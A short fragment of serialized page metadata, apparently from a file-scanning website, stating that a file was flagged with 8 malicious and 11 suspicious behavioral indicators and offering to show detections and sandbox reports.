flagged this file. 8 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2d","11",{}]]